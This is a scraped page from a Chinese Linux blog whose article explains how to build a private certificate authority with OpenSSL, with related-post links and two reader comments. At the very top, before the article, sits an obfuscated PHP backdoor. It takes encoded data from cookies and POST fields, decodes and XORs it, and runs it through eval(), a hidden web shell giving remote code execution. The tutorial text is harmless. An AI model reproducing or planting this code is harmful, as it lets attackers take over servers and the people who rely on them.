$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux基于OpenSSL实现私有CA构建 | Linux运维部落

Linux基于OpenSSL实现私有CA构建

书生 • • Linux干货, 系统运维

前言

随着互联网的迅猛发展，网络通信已经成为传递信息的主要途径。而通信时的数据传输大部分却是明文传输的，在网络这个不安全的环境下，如果没有一套数据加密机制，就会导致敏感信息和重要数据泄露，引起不可估量的损失。而OpenSSL正好弥补了这一缺憾，那什么是OpenSSL呢？OpenSSL是一套强大的具有加密功能的组件，它包含libcrypto（公共加密库）、libssl（SSL协议的实现）和openssl（多功能命令工具），因其开源思想，现已广泛应用于数据通信加密领域。OpenSSL还可在局域网内构建私有CA，实现局域网内的证书认证和授权，保证数据传输的安全性。如何构建私有CA呢？本文将详细讲述基于OpenSSL实现私有CA构建。

数据加密解密过程

数据加密需要实现的功能：数据私密性，数据完整性，身份认证和秘钥交换。

1.jpg

加密类型及功能：
单向加密：提取数据特征码，实现数据完整性验证
对称加密：数据加密，实现数据私密性
公钥加密：使用对方公钥加密，实现秘钥交换
          使用自己私钥加密，实现身份验证

公钥在网络传输过程中，无法保证可信度，容易被窃取或伪装，所以我们就需要一个受信任的第三方机构（CA）

CA工作流程

2.jpg

#A和B各自用CA的公钥解密对方证书，完成身份验证

由于CA支持在互联网上价格不菲，所以在企业内，不牵涉外网通信前提下，完全自行构建一个局域网内的私有CA.

实现CA构建

OpenSSL可以构建适用于中小型企业的私有CA，如果需要在大型企业构建CA可以用OpenCA，有兴趣可以自行Google，这里就不做详解了,因为OpenSSL足以满足大多数需求。

建立CA服务器

生成秘钥

3.jpg

命令详解：
umask 077：保证秘钥文件其他人无读写权限，在（）内执行，只对当前子shell有效
-out /path/to/somefile:指定生成秘钥位置   
2048：秘钥长度，可自定义
#openssl rsa -in private/cakey.pem -pubout -text  可提取公钥

自签证书

4.jpg

命令详解：
req: 生成证书签署请求
     -news: 新请求
     -key /path/to/keyfile: 指定私钥文件
     -out /path/to/somefile: 指定生成证书位置
     -x509: 生成自签署证书
     -days n: 有效天数
     
#Country Name (2 letter code) [XX]:CN                          #国家（大写缩写）
#State or Province Name (full name) []:Shandong                #省份或洲
#Locality Name (eg, city) [Default City]:Qingdao               #城市
#Organization Name (eg, company) [Default Company Ltd]:Scholar #公司
#Organizational Unit Name (eg, section) []:Tech                #部门
#Common Name (eg, your name or your server's hostname) []:ca.scholar.com
#必须与证书所有者能解析到的名字保持一致，否则将无法通过验证
#Email Address []:ca@scholar.com                               #邮箱
#以上操作默认选项可通过修改配置文件（/etc/pki/tls/openssl.cnf）修改

初始化工作环境

5.jpg

命令详解：
index.txt：证书缩影数据库
serial：签署证书编号文件
echo 01 > serial #设定编号初始值

客户端申请证书

生成密钥

#我们给web服务生成请求用于https，在其配置文件目录创建用于保存私钥和证书的目录

6.jpg

生成证书签署请求

7.jpg

#A challenge password []:   #证书请求需要加密存放，如果添加密码，需要将密码一同给CA
#An optional company name []:

将签署请求文件发送给CA服务器

#CA服务器工作目录下，手动创建了一个存放证书请求的目录（存放目录请随意）

8.jpg

 CA签署证书

9.jpg

将签署的证书发送给请求者

10.jpg

这样客户端就可以配置使用CA签署的证书，进行加密通信了。如果客户端的私钥不慎丢失，或者证书过期了该怎么办呢？接下来我们看一下证书怎么吊销吧。

证书吊销

客户端获取证书serial

11.jpg

CA验证信息

根据节点提交的serial和subject信息来验正与index.txt文件中的信息是否一致

12.jpg

CA吊销证书

13.jpg

CA生成吊销证书编号(第一次吊销)

14.jpg

CA更新证书吊销列表

15.jpg

#如果有需要，可查看crl文件的内容
#openssl crl -in /path/to/crlfile.crl -noout -text

好了，证书成功吊销，可以重新申请了。

The end

以上便是基于OpenSSL构建私有CA的步骤了，实际效果请自行测试，这里我就不做解析测试了。仅为个人学习整理，如有错漏，大神勿喷~~~

原创文章，作者：书生，如若转载，请注明出处：http://www.178linux.com/2704

赞 (0)
书生书生
2
上一篇 2015-04-13 10:06
下一篇 2015-04-13 10:10

相关推荐

  • CentOS系统启动流程与grub

    本文主要讲述CenOS系统启动的整个流程。 对于CentOS系统来说，整个启动过程可分为4个阶段，分别是：加点自检，加载MBR，加载内核并执行初始化信息，初始化用户空间。下面就具体来描述每个过程都做了什么。 一.加点自检（power on system test,POST） 任何一种操作系统的启动，第一步必定是加点自检,主要功能是装载在硬件芯片CMOS之上的…

    Linux干货 2016-11-29
  • find命令用法详解 Linux干货

    find命令用法详解

    find

    2017-10-29
  • Zabbix介绍、安装配置 Linux干货

    Zabbix介绍、安装配置

    Zabbix介绍、安装配置 我们为什么需要监控? 常用的开源监控系统有哪些? Zabbix架构 Zabbix的安装和配置 总结 前言 本篇文章转自我的个人博客 http://anyisalin.com 欢迎大家访问 我们为什么需要监控? 没有监控就将系统上线, 就是在耍流氓; 在生产环境中, 监控是必不可少的, 因为我们需要实时了解业务的…

    2016-05-13

  • Linux第一周学习心得

                           LINUX入门学习心得 Shell基本命令 ### shell可执行命令分类 ### 内部命令：由shell自带得，而且通过某命令形式提供 help　内部命令列表 enble cmd　启用内部命…

    Linux干货 2017-07-15

  • ps常用命令

    Linux上进程有5种状态: 1. 运行(正在运行或在运行队列中等待) 2. 中断(休眠中, 受阻, 在等待某个条件的形成或接受到信号) 3. 不可中断(收到信号不唤醒和不可运行, 进程必须等待直到有中断发生) 4. 僵死(进程已终止, 但进程描述符存在, 直到父进程调用wait4()系统调用后释放) 5. …

    Linux干货 2017-07-02

  • linux路由转发（软路由）实验

        一。实验网络拓扑             （R1,R2由 Linux 虚拟机添加双网卡做软路由实现）              &n…

    Linux干货 2016-09-05

评论列表（2条）

  • 瓶云
    瓶云 2015-06-17 06:29

    书生，你这个图画的很溜啊 :smile:

    • 书生
      书生 2015-06-20 12:32

      @瓶云：:mrgreen: :mrgreen: :mrgreen:

电话咨询
在线咨询